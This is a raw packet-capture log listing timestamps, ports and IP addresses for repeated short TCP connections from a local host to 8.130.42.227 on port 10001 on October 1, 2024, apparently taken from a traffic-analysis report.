Oct 1, 2024 09:18:48.639446974 CEST	49830	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:48.639575005 CEST	49830	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:48.644480944 CEST	10001	49830	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:49.608248949 CEST	10001	49830	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:49.608325005 CEST	49830	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:49.608378887 CEST	10001	49830	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:49.608424902 CEST	49830	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:49.711764097 CEST	49831	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:49.711777925 CEST	49830	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:49.716573000 CEST	10001	49830	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:49.716593981 CEST	10001	49831	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:49.718667030 CEST	49831	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:49.718794107 CEST	49831	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:49.723546982 CEST	10001	49831	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:50.703569889 CEST	10001	49831	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:50.703587055 CEST	10001	49831	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:50.703629971 CEST	49831	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:50.703666925 CEST	49831	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:50.703769922 CEST	49831	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:50.710127115 CEST	10001	49831	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:50.905317068 CEST	49832	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:50.912123919 CEST	10001	49832	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:50.912239075 CEST	49832	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:50.912420034 CEST	49832	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:50.917145014 CEST	10001	49832	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:51.880003929 CEST	10001	49832	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:51.880028009 CEST	10001	49832	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:51.880088091 CEST	49832	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:51.880106926 CEST	49832	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:51.880249023 CEST	49832	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:51.884960890 CEST	10001	49832	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:51.994585037 CEST	49833	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:51.999577045 CEST	10001	49833	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:51.999690056 CEST	49833	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:51.999813080 CEST	49833	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:52.004544020 CEST	10001	49833	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:53.537100077 CEST	10001	49833	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:53.537161112 CEST	49833	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:53.537259102 CEST	10001	49833	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:53.537307978 CEST	49833	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:53.540092945 CEST	49833	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:53.544903994 CEST	10001	49833	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:53.665668964 CEST	49834	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:53.829519987 CEST	10001	49834	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:53.830955982 CEST	49834	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:53.834593058 CEST	49834	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:53.839493036 CEST	10001	49834	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:55.387809038 CEST	10001	49834	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:55.387866974 CEST	10001	49834	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:55.387876987 CEST	49834	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:55.387936115 CEST	49834	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:55.391884089 CEST	49834	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:55.396640062 CEST	10001	49834	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:55.508836985 CEST	49835	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:55.513752937 CEST	10001	49835	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:55.513864040 CEST	49835	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:55.513971090 CEST	49835	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:55.518744946 CEST	10001	49835	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:56.475521088 CEST	10001	49835	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:56.475544930 CEST	10001	49835	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:56.475650072 CEST	49835	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:56.475863934 CEST	49835	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:56.480575085 CEST	10001	49835	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:56.588474989 CEST	49836	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:56.593374014 CEST	10001	49836	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:56.593533993 CEST	49836	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:56.593599081 CEST	49836	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:56.598372936 CEST	10001	49836	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:57.540667057 CEST	10001	49836	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:57.540719986 CEST	49836	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:57.540744066 CEST	10001	49836	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:57.540781975 CEST	49836	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:57.540920019 CEST	49836	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:57.545691967 CEST	10001	49836	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:57.651444912 CEST	49837	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:57.656472921 CEST	10001	49837	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:57.656733036 CEST	49837	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:57.656733036 CEST	49837	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:57.661489010 CEST	10001	49837	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:58.615809917 CEST	10001	49837	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:58.615950108 CEST	10001	49837	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:58.616731882 CEST	49837	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:58.616733074 CEST	49837	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:58.621601105 CEST	10001	49837	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:58.730041027 CEST	49838	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:58.734985113 CEST	10001	49838	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:58.735065937 CEST	49838	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:58.742556095 CEST	49838	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:58.747329950 CEST	10001	49838	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:59.713992119 CEST	10001	49838	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:59.714059114 CEST	49838	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:59.714471102 CEST	10001	49838	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:59.714526892 CEST	49838	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:59.843524933 CEST	49839	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:59.843530893 CEST	49838	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:59.848423958 CEST	10001	49838	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:59.848438025 CEST	10001	49839	8.130.42.227	192.168.2.4
Oct 1, 2024 09:18:59.848553896 CEST	49839	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:59.848725080 CEST	49839	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:18:59.853851080 CEST	10001	49839	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:00.832353115 CEST	10001	49839	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:00.832406998 CEST	10001	49839	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:00.832432985 CEST	49839	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:00.832467079 CEST	49839	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:00.832578897 CEST	49839	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:00.837388039 CEST	10001	49839	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:00.946706057 CEST	49840	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:01.118649960 CEST	10001	49840	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:01.118755102 CEST	49840	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:01.118943930 CEST	49840	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:01.123672009 CEST	10001	49840	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:02.068789005 CEST	10001	49840	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:02.068809032 CEST	10001	49840	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:02.068887949 CEST	49840	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:02.069011927 CEST	49840	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:02.073781967 CEST	10001	49840	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:02.195688963 CEST	49841	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:02.200557947 CEST	10001	49841	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:02.204703093 CEST	49841	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:02.204703093 CEST	49841	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:02.209476948 CEST	10001	49841	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:03.153043985 CEST	10001	49841	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:03.153088093 CEST	10001	49841	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:03.153098106 CEST	49841	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:03.153175116 CEST	49841	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:03.153233051 CEST	49841	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:03.157989979 CEST	10001	49841	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:03.284426928 CEST	49842	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:03.289364100 CEST	10001	49842	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:03.289429903 CEST	49842	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:03.290126085 CEST	49842	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:03.294928074 CEST	10001	49842	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:04.241883039 CEST	10001	49842	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:04.241904020 CEST	10001	49842	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:04.246598005 CEST	49842	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:04.250360012 CEST	49842	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:04.255156040 CEST	10001	49842	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:04.531752110 CEST	49843	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:04.536899090 CEST	10001	49843	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:04.540657043 CEST	49843	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:04.541111946 CEST	49843	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:04.545854092 CEST	10001	49843	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:05.506321907 CEST	10001	49843	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:05.506380081 CEST	49843	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:05.506465912 CEST	10001	49843	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:05.506509066 CEST	49843	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:05.506781101 CEST	49843	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:05.511543989 CEST	10001	49843	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:05.634125948 CEST	49844	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:05.639158010 CEST	10001	49844	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:05.639230967 CEST	49844	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:05.639437914 CEST	49844	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:05.647650957 CEST	10001	49844	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:06.611948967 CEST	10001	49844	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:06.612035990 CEST	10001	49844	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:06.612184048 CEST	49844	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:06.612320900 CEST	49844	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:06.617111921 CEST	10001	49844	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:06.759057999 CEST	49845	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:06.769104004 CEST	10001	49845	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:06.769185066 CEST	49845	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:06.769355059 CEST	49845	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:06.779541969 CEST	10001	49845	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:07.713140011 CEST	10001	49845	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:07.713452101 CEST	10001	49845	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:07.716739893 CEST	49845	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:07.716739893 CEST	49845	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:07.721659899 CEST	10001	49845	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:07.884598017 CEST	49846	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:07.889714956 CEST	10001	49846	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:07.890803099 CEST	49846	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:07.890803099 CEST	49846	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:07.895657063 CEST	10001	49846	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:08.837522984 CEST	10001	49846	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:08.837553024 CEST	10001	49846	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:08.837610960 CEST	49846	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:08.837610960 CEST	49846	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:08.837779045 CEST	49846	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:08.842489004 CEST	10001	49846	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:08.961987972 CEST	49847	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:08.966895103 CEST	10001	49847	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:08.966960907 CEST	49847	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:08.967098951 CEST	49847	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:08.971838951 CEST	10001	49847	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:09.922214985 CEST	10001	49847	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:09.922235966 CEST	10001	49847	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:09.922437906 CEST	49847	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:09.922437906 CEST	49847	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:09.927278996 CEST	10001	49847	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:10.136635065 CEST	49848	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:10.141506910 CEST	10001	49848	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:10.142796040 CEST	49848	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:10.142796040 CEST	49848	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:10.147631884 CEST	10001	49848	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:11.239603996 CEST	10001	49848	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:11.239655972 CEST	49848	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:11.239764929 CEST	10001	49848	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:11.239804983 CEST	49848	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:11.243002892 CEST	49848	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:11.247859955 CEST	10001	49848	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:11.399759054 CEST	49849	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:11.404678106 CEST	10001	49849	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:11.404736042 CEST	49849	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:11.404921055 CEST	49849	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:11.409662008 CEST	10001	49849	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:12.383945942 CEST	10001	49849	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:12.383964062 CEST	10001	49849	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:12.386734962 CEST	49849	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:12.386734962 CEST	49849	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:12.391550064 CEST	10001	49849	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:12.560586929 CEST	49850	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:12.565453053 CEST	10001	49850	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:12.565803051 CEST	49850	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:12.566149950 CEST	49850	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:12.570997000 CEST	10001	49850	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:13.536622047 CEST	10001	49850	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:13.536698103 CEST	49850	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:13.536760092 CEST	10001	49850	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:13.536806107 CEST	49850	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:13.649327993 CEST	49850	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:13.649756908 CEST	49851	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:13.654346943 CEST	10001	49850	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:13.654588938 CEST	10001	49851	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:13.654696941 CEST	49851	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:13.654870033 CEST	49851	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:13.660190105 CEST	10001	49851	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:14.618599892 CEST	10001	49851	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:14.618616104 CEST	10001	49851	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:14.618716002 CEST	49851	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:14.618716002 CEST	49851	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:14.618880987 CEST	49851	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:14.623709917 CEST	10001	49851	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:14.774863958 CEST	49852	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:14.779814005 CEST	10001	49852	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:14.779891014 CEST	49852	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:14.780076981 CEST	49852	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:14.784828901 CEST	10001	49852	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:15.770656109 CEST	10001	49852	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:15.770724058 CEST	10001	49852	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:15.775007963 CEST	49852	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:15.775007963 CEST	49852	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:15.779818058 CEST	10001	49852	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:15.962827921 CEST	49853	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:15.969052076 CEST	10001	49853	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:15.970726967 CEST	49853	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:15.970824957 CEST	49853	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:15.975732088 CEST	10001	49853	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:16.917601109 CEST	10001	49853	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:16.917649984 CEST	49853	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:16.917942047 CEST	10001	49853	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:16.917985916 CEST	49853	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:17.051831007 CEST	49853	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:17.052295923 CEST	49854	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:17.056850910 CEST	10001	49853	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:17.057121992 CEST	10001	49854	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:17.057174921 CEST	49854	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:17.060981989 CEST	49854	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:17.066051960 CEST	10001	49854	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:18.005870104 CEST	10001	49854	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:18.006073952 CEST	10001	49854	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:18.007050037 CEST	49854	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:18.008409977 CEST	49854	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:18.013389111 CEST	10001	49854	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:18.182761908 CEST	49855	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:18.187864065 CEST	10001	49855	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:18.191450119 CEST	49855	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:18.191450119 CEST	49855	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:18.196357965 CEST	10001	49855	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:19.142124891 CEST	10001	49855	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:19.142158985 CEST	10001	49855	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:19.142194986 CEST	49855	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:19.142247915 CEST	49855	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:19.142343998 CEST	49855	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:19.147134066 CEST	10001	49855	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:19.259216070 CEST	49856	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:19.264137983 CEST	10001	49856	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:19.264199972 CEST	49856	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:19.264523983 CEST	49856	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:19.269332886 CEST	10001	49856	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:20.207957983 CEST	10001	49856	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:20.208007097 CEST	10001	49856	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:20.210882902 CEST	49856	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:20.210882902 CEST	49856	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:20.215812922 CEST	10001	49856	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:20.322662115 CEST	49857	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:20.327600956 CEST	10001	49857	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:20.330912113 CEST	49857	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:20.330912113 CEST	49857	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:20.335696936 CEST	10001	49857	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:21.334633112 CEST	10001	49857	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:21.334691048 CEST	49857	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:21.334808111 CEST	10001	49857	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:21.334887028 CEST	49857	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:21.458328962 CEST	49857	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:21.458683968 CEST	49858	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:21.463212013 CEST	10001	49857	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:21.463449955 CEST	10001	49858	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:21.463506937 CEST	49858	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:21.464631081 CEST	49858	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:21.469950914 CEST	10001	49858	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:22.470978975 CEST	10001	49858	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:22.471136093 CEST	10001	49858	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:22.475179911 CEST	49858	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:22.475179911 CEST	49858	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:22.480025053 CEST	10001	49858	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:22.649112940 CEST	49859	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:22.654309034 CEST	10001	49859	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:22.654994965 CEST	49859	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:22.655162096 CEST	49859	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:22.660196066 CEST	10001	49859	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:23.599531889 CEST	10001	49859	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:23.599551916 CEST	10001	49859	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:23.599601984 CEST	49859	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:23.599714041 CEST	49859	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:23.681149960 CEST	49859	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:23.686049938 CEST	10001	49859	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:23.870928049 CEST	49860	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:23.876133919 CEST	10001	49860	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:23.878796101 CEST	49860	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:23.878797054 CEST	49860	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:23.884027958 CEST	10001	49860	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:24.837048054 CEST	10001	49860	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:24.837064028 CEST	10001	49860	8.130.42.227	192.168.2.4
Oct 1, 2024 09:19:24.837105036 CEST	49860	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:24.837152004 CEST	49860	10001	192.168.2.4	8.130.42.227
Oct 1, 2024 09:19:24.837296963 CEST	49860	10001	192.168.2.4	8.130.42.227
